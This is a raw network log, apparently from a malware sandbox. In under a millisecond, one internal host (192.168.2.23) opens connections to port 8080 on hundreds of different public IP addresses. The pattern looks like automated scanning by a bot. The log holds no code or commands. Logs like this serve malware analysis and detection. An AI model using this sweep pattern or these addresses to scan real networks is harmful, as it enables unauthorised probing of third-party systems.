Dec 26, 2023 21:22:49.788486004 CET	45469	8080	192.168.2.23	62.154.229.250
Dec 26, 2023 21:22:49.788486004 CET	45469	8080	192.168.2.23	62.36.15.233
Dec 26, 2023 21:22:49.788486004 CET	45469	8080	192.168.2.23	85.184.159.106
Dec 26, 2023 21:22:49.788487911 CET	45469	8080	192.168.2.23	95.184.207.136
Dec 26, 2023 21:22:49.788487911 CET	45469	8080	192.168.2.23	94.42.201.40
Dec 26, 2023 21:22:49.788487911 CET	45469	8080	192.168.2.23	62.37.12.13
Dec 26, 2023 21:22:49.788496971 CET	45469	8080	192.168.2.23	85.65.212.161
Dec 26, 2023 21:22:49.788508892 CET	45469	8080	192.168.2.23	95.108.247.66
Dec 26, 2023 21:22:49.788508892 CET	45469	8080	192.168.2.23	62.126.218.244
Dec 26, 2023 21:22:49.788510084 CET	45469	8080	192.168.2.23	95.232.241.193
Dec 26, 2023 21:22:49.788510084 CET	45469	8080	192.168.2.23	85.125.125.34
Dec 26, 2023 21:22:49.788511992 CET	45469	8080	192.168.2.23	31.148.206.194
Dec 26, 2023 21:22:49.788515091 CET	45469	8080	192.168.2.23	95.106.110.92
Dec 26, 2023 21:22:49.788516045 CET	45469	8080	192.168.2.23	31.191.179.52
Dec 26, 2023 21:22:49.788522959 CET	45469	8080	192.168.2.23	31.198.114.21
Dec 26, 2023 21:22:49.788522959 CET	45469	8080	192.168.2.23	95.218.48.247
Dec 26, 2023 21:22:49.788525105 CET	45469	8080	192.168.2.23	31.114.200.140
Dec 26, 2023 21:22:49.788526058 CET	45469	8080	192.168.2.23	95.98.45.165
Dec 26, 2023 21:22:49.788535118 CET	45469	8080	192.168.2.23	31.162.42.110
Dec 26, 2023 21:22:49.788536072 CET	45469	8080	192.168.2.23	62.32.227.239
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	62.164.242.93
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	85.251.146.34
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	85.217.137.89
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	31.81.197.91
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	31.122.167.136
Dec 26, 2023 21:22:49.788538933 CET	45469	8080	192.168.2.23	85.15.50.126
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	95.35.93.38
Dec 26, 2023 21:22:49.788538933 CET	45469	8080	192.168.2.23	62.251.73.20
Dec 26, 2023 21:22:49.788542032 CET	45469	8080	192.168.2.23	31.175.22.114
Dec 26, 2023 21:22:49.788541079 CET	45469	8080	192.168.2.23	94.126.115.153
Dec 26, 2023 21:22:49.788542032 CET	45469	8080	192.168.2.23	95.254.29.191
Dec 26, 2023 21:22:49.788543940 CET	45469	8080	192.168.2.23	95.67.1.128
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	94.135.160.170
Dec 26, 2023 21:22:49.788543940 CET	45469	8080	192.168.2.23	85.157.107.96
Dec 26, 2023 21:22:49.788537979 CET	45469	8080	192.168.2.23	62.35.29.207
Dec 26, 2023 21:22:49.788543940 CET	45469	8080	192.168.2.23	95.222.195.48
Dec 26, 2023 21:22:49.788548946 CET	45469	8080	192.168.2.23	85.203.51.137
Dec 26, 2023 21:22:49.788552999 CET	45469	8080	192.168.2.23	94.238.61.205
Dec 26, 2023 21:22:49.788563967 CET	45469	8080	192.168.2.23	85.50.138.177
Dec 26, 2023 21:22:49.788566113 CET	45469	8080	192.168.2.23	31.95.134.6
Dec 26, 2023 21:22:49.788568020 CET	45469	8080	192.168.2.23	85.141.26.11
Dec 26, 2023 21:22:49.788568020 CET	45469	8080	192.168.2.23	62.154.226.154
Dec 26, 2023 21:22:49.788568020 CET	45469	8080	192.168.2.23	94.165.52.88
Dec 26, 2023 21:22:49.788568020 CET	45469	8080	192.168.2.23	85.54.145.244
Dec 26, 2023 21:22:49.788572073 CET	45469	8080	192.168.2.23	62.66.36.242
Dec 26, 2023 21:22:49.788577080 CET	45469	8080	192.168.2.23	31.195.31.207
Dec 26, 2023 21:22:49.788580894 CET	45469	8080	192.168.2.23	31.53.213.51
Dec 26, 2023 21:22:49.788582087 CET	45469	8080	192.168.2.23	85.207.142.194
Dec 26, 2023 21:22:49.788582087 CET	45469	8080	192.168.2.23	62.246.119.114
Dec 26, 2023 21:22:49.788589001 CET	45469	8080	192.168.2.23	62.243.115.213
Dec 26, 2023 21:22:49.788590908 CET	45469	8080	192.168.2.23	31.157.156.69
Dec 26, 2023 21:22:49.788592100 CET	45469	8080	192.168.2.23	62.39.14.70
Dec 26, 2023 21:22:49.788602114 CET	45469	8080	192.168.2.23	85.218.229.53
Dec 26, 2023 21:22:49.788602114 CET	45469	8080	192.168.2.23	94.9.179.158
Dec 26, 2023 21:22:49.788605928 CET	45469	8080	192.168.2.23	94.217.73.170
Dec 26, 2023 21:22:49.788605928 CET	45469	8080	192.168.2.23	31.80.90.176
Dec 26, 2023 21:22:49.788605928 CET	45469	8080	192.168.2.23	31.190.46.225
Dec 26, 2023 21:22:49.788609028 CET	45469	8080	192.168.2.23	31.158.14.204
Dec 26, 2023 21:22:49.788609028 CET	45469	8080	192.168.2.23	95.35.221.93
Dec 26, 2023 21:22:49.788618088 CET	45469	8080	192.168.2.23	94.133.132.2
Dec 26, 2023 21:22:49.788618088 CET	45469	8080	192.168.2.23	95.58.177.32
Dec 26, 2023 21:22:49.788619041 CET	45469	8080	192.168.2.23	31.79.104.87
Dec 26, 2023 21:22:49.788618088 CET	45469	8080	192.168.2.23	31.144.135.89
Dec 26, 2023 21:22:49.788619995 CET	45469	8080	192.168.2.23	62.146.31.19
Dec 26, 2023 21:22:49.788625956 CET	45469	8080	192.168.2.23	95.89.218.30
Dec 26, 2023 21:22:49.788628101 CET	45469	8080	192.168.2.23	31.110.106.69
Dec 26, 2023 21:22:49.788628101 CET	45469	8080	192.168.2.23	31.111.61.21
Dec 26, 2023 21:22:49.788638115 CET	45469	8080	192.168.2.23	31.131.207.85
Dec 26, 2023 21:22:49.788645029 CET	45469	8080	192.168.2.23	95.80.157.169
Dec 26, 2023 21:22:49.788645029 CET	45469	8080	192.168.2.23	85.153.153.107
Dec 26, 2023 21:22:49.788645029 CET	45469	8080	192.168.2.23	62.126.93.25
Dec 26, 2023 21:22:49.788645029 CET	45469	8080	192.168.2.23	95.30.150.153
Dec 26, 2023 21:22:49.788651943 CET	45469	8080	192.168.2.23	94.138.181.172
Dec 26, 2023 21:22:49.788652897 CET	45469	8080	192.168.2.23	85.127.100.174
Dec 26, 2023 21:22:49.788661957 CET	45469	8080	192.168.2.23	85.61.202.26
Dec 26, 2023 21:22:49.788666010 CET	45469	8080	192.168.2.23	62.224.24.204
Dec 26, 2023 21:22:49.788666010 CET	45469	8080	192.168.2.23	62.120.72.220
Dec 26, 2023 21:22:49.788666010 CET	45469	8080	192.168.2.23	31.195.168.137
Dec 26, 2023 21:22:49.788666964 CET	45469	8080	192.168.2.23	31.223.249.176
Dec 26, 2023 21:22:49.788666964 CET	45469	8080	192.168.2.23	95.218.196.63
Dec 26, 2023 21:22:49.788666964 CET	45469	8080	192.168.2.23	94.37.39.125
Dec 26, 2023 21:22:49.788666964 CET	45469	8080	192.168.2.23	94.126.194.213
Dec 26, 2023 21:22:49.788666964 CET	45469	8080	192.168.2.23	94.146.68.134
Dec 26, 2023 21:22:49.788666964 CET	45469	8080	192.168.2.23	94.230.246.41
Dec 26, 2023 21:22:49.788671017 CET	45469	8080	192.168.2.23	85.209.179.87
Dec 26, 2023 21:22:49.788674116 CET	45469	8080	192.168.2.23	95.48.158.236
Dec 26, 2023 21:22:49.788671017 CET	45469	8080	192.168.2.23	31.213.59.199
Dec 26, 2023 21:22:49.788671017 CET	45469	8080	192.168.2.23	94.84.224.73
Dec 26, 2023 21:22:49.788677931 CET	45469	8080	192.168.2.23	95.197.85.199
Dec 26, 2023 21:22:49.788677931 CET	45469	8080	192.168.2.23	95.194.239.63
Dec 26, 2023 21:22:49.788677931 CET	45469	8080	192.168.2.23	31.149.1.99
Dec 26, 2023 21:22:49.788677931 CET	45469	8080	192.168.2.23	85.60.188.144
Dec 26, 2023 21:22:49.788686991 CET	45469	8080	192.168.2.23	95.242.231.202
Dec 26, 2023 21:22:49.788686991 CET	45469	8080	192.168.2.23	85.115.60.81
Dec 26, 2023 21:22:49.788691998 CET	45469	8080	192.168.2.23	85.9.139.172
Dec 26, 2023 21:22:49.788691998 CET	45469	8080	192.168.2.23	62.193.236.8
Dec 26, 2023 21:22:49.788692951 CET	45469	8080	192.168.2.23	85.24.114.143
Dec 26, 2023 21:22:49.788692951 CET	45469	8080	192.168.2.23	85.23.157.23
Dec 26, 2023 21:22:49.788692951 CET	45469	8080	192.168.2.23	94.244.143.65
Dec 26, 2023 21:22:49.788702011 CET	45469	8080	192.168.2.23	62.89.51.92
Dec 26, 2023 21:22:49.788702011 CET	45469	8080	192.168.2.23	85.3.121.180
Dec 26, 2023 21:22:49.788702011 CET	45469	8080	192.168.2.23	62.46.8.205
Dec 26, 2023 21:22:49.788703918 CET	45469	8080	192.168.2.23	85.86.210.132
Dec 26, 2023 21:22:49.788705111 CET	45469	8080	192.168.2.23	85.154.28.68
Dec 26, 2023 21:22:49.788706064 CET	45469	8080	192.168.2.23	62.92.82.179
Dec 26, 2023 21:22:49.788706064 CET	45469	8080	192.168.2.23	85.67.52.110
Dec 26, 2023 21:22:49.788706064 CET	45469	8080	192.168.2.23	62.55.205.39
Dec 26, 2023 21:22:49.788706064 CET	45469	8080	192.168.2.23	62.3.100.160
Dec 26, 2023 21:22:49.788707018 CET	45469	8080	192.168.2.23	62.137.219.77
Dec 26, 2023 21:22:49.788713932 CET	45469	8080	192.168.2.23	94.180.169.21
Dec 26, 2023 21:22:49.788723946 CET	45469	8080	192.168.2.23	95.59.126.141
Dec 26, 2023 21:22:49.788723946 CET	45469	8080	192.168.2.23	62.190.227.61
Dec 26, 2023 21:22:49.788732052 CET	45469	8080	192.168.2.23	95.209.78.111
Dec 26, 2023 21:22:49.788732052 CET	45469	8080	192.168.2.23	85.244.72.110
Dec 26, 2023 21:22:49.788732052 CET	45469	8080	192.168.2.23	62.221.225.40
Dec 26, 2023 21:22:49.788736105 CET	45469	8080	192.168.2.23	62.130.17.17
Dec 26, 2023 21:22:49.788742065 CET	45469	8080	192.168.2.23	85.209.4.76
Dec 26, 2023 21:22:49.788742065 CET	45469	8080	192.168.2.23	95.56.175.207
Dec 26, 2023 21:22:49.788748980 CET	45469	8080	192.168.2.23	95.205.64.126
Dec 26, 2023 21:22:49.788748980 CET	45469	8080	192.168.2.23	94.56.226.112
Dec 26, 2023 21:22:49.788753033 CET	45469	8080	192.168.2.23	94.129.221.128
Dec 26, 2023 21:22:49.788754940 CET	45469	8080	192.168.2.23	95.56.81.152
Dec 26, 2023 21:22:49.788758993 CET	45469	8080	192.168.2.23	31.238.43.159
Dec 26, 2023 21:22:49.788758993 CET	45469	8080	192.168.2.23	62.109.108.219
Dec 26, 2023 21:22:49.788758993 CET	45469	8080	192.168.2.23	31.124.68.229
Dec 26, 2023 21:22:49.788773060 CET	45469	8080	192.168.2.23	85.244.93.113
Dec 26, 2023 21:22:49.788779974 CET	45469	8080	192.168.2.23	85.192.233.145
Dec 26, 2023 21:22:49.788779974 CET	45469	8080	192.168.2.23	31.158.76.132
Dec 26, 2023 21:22:49.788779974 CET	45469	8080	192.168.2.23	62.188.41.40
Dec 26, 2023 21:22:49.788779974 CET	45469	8080	192.168.2.23	31.236.4.70
Dec 26, 2023 21:22:49.788779974 CET	45469	8080	192.168.2.23	85.232.244.156
Dec 26, 2023 21:22:49.788783073 CET	45469	8080	192.168.2.23	62.249.163.47
Dec 26, 2023 21:22:49.788783073 CET	45469	8080	192.168.2.23	31.98.98.93
Dec 26, 2023 21:22:49.788786888 CET	45469	8080	192.168.2.23	94.83.124.127
Dec 26, 2023 21:22:49.788788080 CET	45469	8080	192.168.2.23	31.93.130.68
Dec 26, 2023 21:22:49.788791895 CET	45469	8080	192.168.2.23	85.253.142.42
Dec 26, 2023 21:22:49.788796902 CET	45469	8080	192.168.2.23	94.231.189.24
Dec 26, 2023 21:22:49.788801908 CET	45469	8080	192.168.2.23	62.199.247.70
Dec 26, 2023 21:22:49.788803101 CET	45469	8080	192.168.2.23	95.206.140.90
Dec 26, 2023 21:22:49.788803101 CET	45469	8080	192.168.2.23	31.33.225.188
Dec 26, 2023 21:22:49.788804054 CET	45469	8080	192.168.2.23	31.189.4.7
Dec 26, 2023 21:22:49.788804054 CET	45469	8080	192.168.2.23	62.55.82.95
Dec 26, 2023 21:22:49.788804054 CET	45469	8080	192.168.2.23	62.231.174.115
Dec 26, 2023 21:22:49.788804054 CET	45469	8080	192.168.2.23	31.71.102.71
Dec 26, 2023 21:22:49.788806915 CET	45469	8080	192.168.2.23	94.100.29.100
Dec 26, 2023 21:22:49.788806915 CET	45469	8080	192.168.2.23	94.100.135.35
Dec 26, 2023 21:22:49.788806915 CET	45469	8080	192.168.2.23	31.58.163.122
Dec 26, 2023 21:22:49.788806915 CET	45469	8080	192.168.2.23	95.241.254.142
Dec 26, 2023 21:22:49.788810968 CET	45469	8080	192.168.2.23	85.55.73.204
Dec 26, 2023 21:22:49.788819075 CET	45469	8080	192.168.2.23	85.176.163.221
Dec 26, 2023 21:22:49.788825035 CET	45469	8080	192.168.2.23	85.227.32.236
Dec 26, 2023 21:22:49.788825035 CET	45469	8080	192.168.2.23	85.146.78.240
Dec 26, 2023 21:22:49.788825035 CET	45469	8080	192.168.2.23	31.131.6.56
Dec 26, 2023 21:22:49.788827896 CET	45469	8080	192.168.2.23	94.223.177.234
Dec 26, 2023 21:22:49.788827896 CET	45469	8080	192.168.2.23	31.84.163.144
Dec 26, 2023 21:22:49.788836002 CET	45469	8080	192.168.2.23	31.48.89.80
Dec 26, 2023 21:22:49.788836956 CET	45469	8080	192.168.2.23	31.208.158.205
Dec 26, 2023 21:22:49.788836002 CET	45469	8080	192.168.2.23	85.183.246.205
Dec 26, 2023 21:22:49.788837910 CET	45469	8080	192.168.2.23	31.98.164.172
Dec 26, 2023 21:22:49.788837910 CET	45469	8080	192.168.2.23	31.160.175.54
Dec 26, 2023 21:22:49.788837910 CET	45469	8080	192.168.2.23	95.48.85.98
Dec 26, 2023 21:22:49.788837910 CET	45469	8080	192.168.2.23	31.82.251.165
Dec 26, 2023 21:22:49.788840055 CET	45469	8080	192.168.2.23	62.1.101.32
Dec 26, 2023 21:22:49.788850069 CET	45469	8080	192.168.2.23	62.198.212.54
Dec 26, 2023 21:22:49.788851023 CET	45469	8080	192.168.2.23	95.245.60.203
Dec 26, 2023 21:22:49.788850069 CET	45469	8080	192.168.2.23	31.227.237.44
Dec 26, 2023 21:22:49.788851023 CET	45469	8080	192.168.2.23	94.143.158.116
Dec 26, 2023 21:22:49.788850069 CET	45469	8080	192.168.2.23	94.133.142.197
Dec 26, 2023 21:22:49.788851023 CET	45469	8080	192.168.2.23	94.116.206.154
Dec 26, 2023 21:22:49.788851023 CET	45469	8080	192.168.2.23	31.208.52.73
Dec 26, 2023 21:22:49.788855076 CET	45469	8080	192.168.2.23	94.133.244.9
Dec 26, 2023 21:22:49.788850069 CET	45469	8080	192.168.2.23	94.114.56.36
Dec 26, 2023 21:22:49.788855076 CET	45469	8080	192.168.2.23	85.156.227.151
Dec 26, 2023 21:22:49.788850069 CET	45469	8080	192.168.2.23	85.3.183.79
Dec 26, 2023 21:22:49.788866997 CET	45469	8080	192.168.2.23	94.113.216.25
Dec 26, 2023 21:22:49.788872957 CET	45469	8080	192.168.2.23	62.22.100.35
Dec 26, 2023 21:22:49.788881063 CET	45469	8080	192.168.2.23	62.207.151.44
Dec 26, 2023 21:22:49.788881063 CET	45469	8080	192.168.2.23	62.78.2.111
Dec 26, 2023 21:22:49.788882017 CET	45469	8080	192.168.2.23	95.234.81.179
Dec 26, 2023 21:22:49.788882017 CET	45469	8080	192.168.2.23	31.254.219.139
Dec 26, 2023 21:22:49.788882017 CET	45469	8080	192.168.2.23	95.51.53.188
Dec 26, 2023 21:22:49.788883924 CET	45469	8080	192.168.2.23	85.239.219.221
Dec 26, 2023 21:22:49.788883924 CET	45469	8080	192.168.2.23	85.69.236.222
Dec 26, 2023 21:22:49.788883924 CET	45469	8080	192.168.2.23	31.107.128.74
Dec 26, 2023 21:22:49.788883924 CET	45469	8080	192.168.2.23	62.100.145.20
Dec 26, 2023 21:22:49.788883924 CET	45469	8080	192.168.2.23	62.133.87.185
Dec 26, 2023 21:22:49.788892031 CET	45469	8080	192.168.2.23	94.143.241.123
Dec 26, 2023 21:22:49.788892031 CET	45469	8080	192.168.2.23	94.80.120.52
Dec 26, 2023 21:22:49.788894892 CET	45469	8080	192.168.2.23	95.203.68.75
Dec 26, 2023 21:22:49.788898945 CET	45469	8080	192.168.2.23	31.244.182.118
Dec 26, 2023 21:22:49.788898945 CET	45469	8080	192.168.2.23	62.141.194.138
Dec 26, 2023 21:22:49.788904905 CET	45469	8080	192.168.2.23	94.54.60.20
Dec 26, 2023 21:22:49.788914919 CET	45469	8080	192.168.2.23	31.4.110.26
Dec 26, 2023 21:22:49.788918018 CET	45469	8080	192.168.2.23	94.100.130.129
Dec 26, 2023 21:22:49.788917065 CET	45469	8080	192.168.2.23	62.60.195.243
Dec 26, 2023 21:22:49.788919926 CET	45469	8080	192.168.2.23	31.1.223.243
Dec 26, 2023 21:22:49.788919926 CET	45469	8080	192.168.2.23	85.65.72.13
Dec 26, 2023 21:22:49.788918018 CET	45469	8080	192.168.2.23	85.180.182.10
Dec 26, 2023 21:22:49.788925886 CET	45469	8080	192.168.2.23	62.152.38.202
Dec 26, 2023 21:22:49.788925886 CET	45469	8080	192.168.2.23	31.85.61.229
Dec 26, 2023 21:22:49.788928986 CET	45469	8080	192.168.2.23	85.47.215.85
Dec 26, 2023 21:22:49.788928986 CET	45469	8080	192.168.2.23	31.183.175.217
Dec 26, 2023 21:22:49.788928986 CET	45469	8080	192.168.2.23	94.212.167.142
Dec 26, 2023 21:22:49.788928986 CET	45469	8080	192.168.2.23	94.157.197.197
Dec 26, 2023 21:22:49.788930893 CET	45469	8080	192.168.2.23	95.230.212.94
Dec 26, 2023 21:22:49.788940907 CET	45469	8080	192.168.2.23	62.2.144.118
Dec 26, 2023 21:22:49.788940907 CET	45469	8080	192.168.2.23	62.121.16.128
Dec 26, 2023 21:22:49.788944006 CET	45469	8080	192.168.2.23	94.94.231.218
Dec 26, 2023 21:22:49.788944006 CET	45469	8080	192.168.2.23	95.95.209.29
Dec 26, 2023 21:22:49.788944006 CET	45469	8080	192.168.2.23	94.8.226.119
Dec 26, 2023 21:22:49.788949013 CET	45469	8080	192.168.2.23	62.43.246.116
Dec 26, 2023 21:22:49.788952112 CET	45469	8080	192.168.2.23	62.116.171.56
Dec 26, 2023 21:22:49.788954020 CET	45469	8080	192.168.2.23	85.10.38.226
Dec 26, 2023 21:22:49.788964987 CET	45469	8080	192.168.2.23	95.122.228.180
Dec 26, 2023 21:22:49.788964987 CET	45469	8080	192.168.2.23	95.9.77.31
Dec 26, 2023 21:22:49.788969040 CET	45469	8080	192.168.2.23	31.21.134.86
Dec 26, 2023 21:22:49.788969040 CET	45469	8080	192.168.2.23	95.149.212.80
Dec 26, 2023 21:22:49.788976908 CET	45469	8080	192.168.2.23	94.193.63.117
Dec 26, 2023 21:22:49.788976908 CET	45469	8080	192.168.2.23	94.40.230.107
Dec 26, 2023 21:22:49.788976908 CET	45469	8080	192.168.2.23	85.54.136.167
Dec 26, 2023 21:22:49.788976908 CET	45469	8080	192.168.2.23	62.129.2.8
Dec 26, 2023 21:22:49.788981915 CET	45469	8080	192.168.2.23	85.211.231.217
Dec 26, 2023 21:22:49.788989067 CET	45469	8080	192.168.2.23	85.27.163.174
Dec 26, 2023 21:22:49.788989067 CET	45469	8080	192.168.2.23	85.228.125.154
Dec 26, 2023 21:22:49.788989067 CET	45469	8080	192.168.2.23	94.166.195.134
Dec 26, 2023 21:22:49.788989067 CET	45469	8080	192.168.2.23	62.210.81.196
Dec 26, 2023 21:22:49.788992882 CET	45469	8080	192.168.2.23	31.35.64.133
Dec 26, 2023 21:22:49.788992882 CET	45469	8080	192.168.2.23	94.56.63.174
Dec 26, 2023 21:22:49.788992882 CET	45469	8080	192.168.2.23	62.81.177.107
Dec 26, 2023 21:22:49.788996935 CET	45469	8080	192.168.2.23	95.134.253.86
Dec 26, 2023 21:22:49.788996935 CET	45469	8080	192.168.2.23	62.158.66.69
Dec 26, 2023 21:22:49.788997889 CET	45469	8080	192.168.2.23	94.116.194.249
Dec 26, 2023 21:22:49.789002895 CET	45469	8080	192.168.2.23	95.170.125.2
Dec 26, 2023 21:22:49.789002895 CET	45469	8080	192.168.2.23	62.243.217.5
Dec 26, 2023 21:22:49.789002895 CET	45469	8080	192.168.2.23	95.73.173.243
Dec 26, 2023 21:22:49.789002895 CET	45469	8080	192.168.2.23	85.218.161.126
Dec 26, 2023 21:22:49.789006948 CET	45469	8080	192.168.2.23	31.200.28.197
Dec 26, 2023 21:22:49.789010048 CET	45469	8080	192.168.2.23	94.131.52.63
Dec 26, 2023 21:22:49.789010048 CET	45469	8080	192.168.2.23	85.249.74.165
Dec 26, 2023 21:22:49.789020061 CET	45469	8080	192.168.2.23	62.88.219.210
Dec 26, 2023 21:22:49.789019108 CET	45469	8080	192.168.2.23	85.27.227.78
Dec 26, 2023 21:22:49.789019108 CET	45469	8080	192.168.2.23	31.175.48.30
Dec 26, 2023 21:22:49.789022923 CET	45469	8080	192.168.2.23	94.61.115.239
Dec 26, 2023 21:22:49.789025068 CET	45469	8080	192.168.2.23	85.190.23.98
Dec 26, 2023 21:22:49.789030075 CET	45469	8080	192.168.2.23	31.8.8.79
Dec 26, 2023 21:22:49.789030075 CET	45469	8080	192.168.2.23	85.94.153.150
Dec 26, 2023 21:22:49.789030075 CET	45469	8080	192.168.2.23	62.152.164.144
Dec 26, 2023 21:22:49.789031029 CET	45469	8080	192.168.2.23	62.4.59.255
Dec 26, 2023 21:22:49.789031029 CET	45469	8080	192.168.2.23	62.110.75.64
Dec 26, 2023 21:22:49.789031029 CET	45469	8080	192.168.2.23	31.225.243.185
Dec 26, 2023 21:22:49.789031982 CET	45469	8080	192.168.2.23	94.120.167.212
Dec 26, 2023 21:22:49.789033890 CET	45469	8080	192.168.2.23	94.254.191.185
Dec 26, 2023 21:22:49.789035082 CET	45469	8080	192.168.2.23	85.185.37.227
Dec 26, 2023 21:22:49.789035082 CET	45469	8080	192.168.2.23	94.157.197.117
Dec 26, 2023 21:22:49.789035082 CET	45469	8080	192.168.2.23	85.142.209.71
Dec 26, 2023 21:22:49.789035082 CET	45469	8080	192.168.2.23	95.88.208.194
Dec 26, 2023 21:22:49.789043903 CET	45469	8080	192.168.2.23	94.229.195.118
Dec 26, 2023 21:22:49.789045095 CET	45469	8080	192.168.2.23	94.131.68.149
Dec 26, 2023 21:22:49.789045095 CET	45469	8080	192.168.2.23	85.127.109.219
Dec 26, 2023 21:22:49.789045095 CET	45469	8080	192.168.2.23	85.119.95.84
Dec 26, 2023 21:22:49.789047003 CET	45469	8080	192.168.2.23	62.127.88.183
Dec 26, 2023 21:22:49.789047003 CET	45469	8080	192.168.2.23	95.225.179.103
Dec 26, 2023 21:22:49.789060116 CET	45469	8080	192.168.2.23	95.118.22.181
Dec 26, 2023 21:22:49.789072037 CET	45469	8080	192.168.2.23	31.172.156.1
Dec 26, 2023 21:22:49.789072037 CET	45469	8080	192.168.2.23	95.218.210.64
Dec 26, 2023 21:22:49.789072037 CET	45469	8080	192.168.2.23	31.128.167.111
Dec 26, 2023 21:22:49.789074898 CET	45469	8080	192.168.2.23	62.4.240.13
Dec 26, 2023 21:22:49.789074898 CET	45469	8080	192.168.2.23	31.166.28.25
Dec 26, 2023 21:22:49.789074898 CET	45469	8080	192.168.2.23	94.41.196.205
Dec 26, 2023 21:22:49.789077044 CET	45469	8080	192.168.2.23	31.252.24.214
Dec 26, 2023 21:22:49.789077044 CET	45469	8080	192.168.2.23	62.98.17.227
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	62.201.238.25
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	62.22.74.220
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	62.234.203.117
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	95.228.28.205
Dec 26, 2023 21:22:49.789088011 CET	45469	8080	192.168.2.23	95.96.126.254
Dec 26, 2023 21:22:49.789091110 CET	45469	8080	192.168.2.23	62.197.109.81
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	31.152.160.1
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	62.176.41.89
Dec 26, 2023 21:22:49.789093018 CET	45469	8080	192.168.2.23	85.41.214.98
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	95.254.70.134
Dec 26, 2023 21:22:49.789093018 CET	45469	8080	192.168.2.23	62.173.63.245
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	31.200.41.253
Dec 26, 2023 21:22:49.789093018 CET	45469	8080	192.168.2.23	31.156.138.35
Dec 26, 2023 21:22:49.789087057 CET	45469	8080	192.168.2.23	85.127.217.27
Dec 26, 2023 21:22:49.789093018 CET	45469	8080	192.168.2.23	95.249.33.62
Dec 26, 2023 21:22:49.789096117 CET	45469	8080	192.168.2.23	94.226.46.201
Dec 26, 2023 21:22:49.789098978 CET	45469	8080	192.168.2.23	31.230.92.17
Dec 26, 2023 21:22:49.789108992 CET	45469	8080	192.168.2.23	95.145.117.255
Dec 26, 2023 21:22:49.789110899 CET	45469	8080	192.168.2.23	94.52.145.36
Dec 26, 2023 21:22:49.789115906 CET	45469	8080	192.168.2.23	31.153.82.187
Dec 26, 2023 21:22:49.789118052 CET	45469	8080	192.168.2.23	31.192.245.98
Dec 26, 2023 21:22:49.789119959 CET	45469	8080	192.168.2.23	85.227.82.130
Dec 26, 2023 21:22:49.789120913 CET	45469	8080	192.168.2.23	85.162.183.9
Dec 26, 2023 21:22:49.789120913 CET	45469	8080	192.168.2.23	94.136.44.239
Dec 26, 2023 21:22:49.789120913 CET	45469	8080	192.168.2.23	95.251.8.67
Dec 26, 2023 21:22:49.789133072 CET	45469	8080	192.168.2.23	95.59.127.127
Dec 26, 2023 21:22:49.789134026 CET	45469	8080	192.168.2.23	31.243.73.98
Dec 26, 2023 21:22:49.789136887 CET	45469	8080	192.168.2.23	31.52.66.74
Dec 26, 2023 21:22:49.789138079 CET	45469	8080	192.168.2.23	85.102.192.222
Dec 26, 2023 21:22:49.789138079 CET	45469	8080	192.168.2.23	94.165.37.251
Dec 26, 2023 21:22:49.789138079 CET	45469	8080	192.168.2.23	94.147.2.189
Dec 26, 2023 21:22:49.789140940 CET	45469	8080	192.168.2.23	62.145.200.47
Dec 26, 2023 21:22:49.789140940 CET	45469	8080	192.168.2.23	85.15.72.237
Dec 26, 2023 21:22:49.789146900 CET	45469	8080	192.168.2.23	94.59.114.105
Dec 26, 2023 21:22:49.789146900 CET	45469	8080	192.168.2.23	95.160.108.2
Dec 26, 2023 21:22:49.789149046 CET	45469	8080	192.168.2.23	94.254.201.95
Dec 26, 2023 21:22:49.789150953 CET	45469	8080	192.168.2.23	85.245.79.68
Dec 26, 2023 21:22:49.789150953 CET	45469	8080	192.168.2.23	95.41.122.54
Dec 26, 2023 21:22:49.789151907 CET	45469	8080	192.168.2.23	95.201.164.196
Dec 26, 2023 21:22:49.789154053 CET	45469	8080	192.168.2.23	62.209.170.207
Dec 26, 2023 21:22:49.789155960 CET	45469	8080	192.168.2.23	94.148.108.71
Dec 26, 2023 21:22:49.789163113 CET	45469	8080	192.168.2.23	31.103.27.171
Dec 26, 2023 21:22:49.789163113 CET	45469	8080	192.168.2.23	31.136.240.190
Dec 26, 2023 21:22:49.789163113 CET	45469	8080	192.168.2.23	95.239.94.193
Dec 26, 2023 21:22:49.789171934 CET	45469	8080	192.168.2.23	94.76.160.248
Dec 26, 2023 21:22:49.789171934 CET	45469	8080	192.168.2.23	31.172.76.43
Dec 26, 2023 21:22:49.789175034 CET	45469	8080	192.168.2.23	95.206.231.206
Dec 26, 2023 21:22:49.789175987 CET	45469	8080	192.168.2.23	94.194.103.186
Dec 26, 2023 21:22:49.789175987 CET	45469	8080	192.168.2.23	85.123.40.58
Dec 26, 2023 21:22:49.789175987 CET	45469	8080	192.168.2.23	94.13.112.149
Dec 26, 2023 21:22:49.789175987 CET	45469	8080	192.168.2.23	31.68.132.50
Dec 26, 2023 21:22:49.789181948 CET	45469	8080	192.168.2.23	95.43.42.104
Dec 26, 2023 21:22:49.789192915 CET	45469	8080	192.168.2.23	95.165.45.60
Dec 26, 2023 21:22:49.789192915 CET	45469	8080	192.168.2.23	95.24.33.154
Dec 26, 2023 21:22:49.789195061 CET	45469	8080	192.168.2.23	94.246.238.227
Dec 26, 2023 21:22:49.789195061 CET	45469	8080	192.168.2.23	94.25.57.138
Dec 26, 2023 21:22:49.789196968 CET	45469	8080	192.168.2.23	62.221.230.51
Dec 26, 2023 21:22:49.789196968 CET	45469	8080	192.168.2.23	31.131.233.51
Dec 26, 2023 21:22:49.789197922 CET	45469	8080	192.168.2.23	85.93.237.136
Dec 26, 2023 21:22:49.789196968 CET	45469	8080	192.168.2.23	62.179.92.12
Dec 26, 2023 21:22:49.789196968 CET	45469	8080	192.168.2.23	94.107.186.208
Dec 26, 2023 21:22:49.789197922 CET	45469	8080	192.168.2.23	95.226.60.170
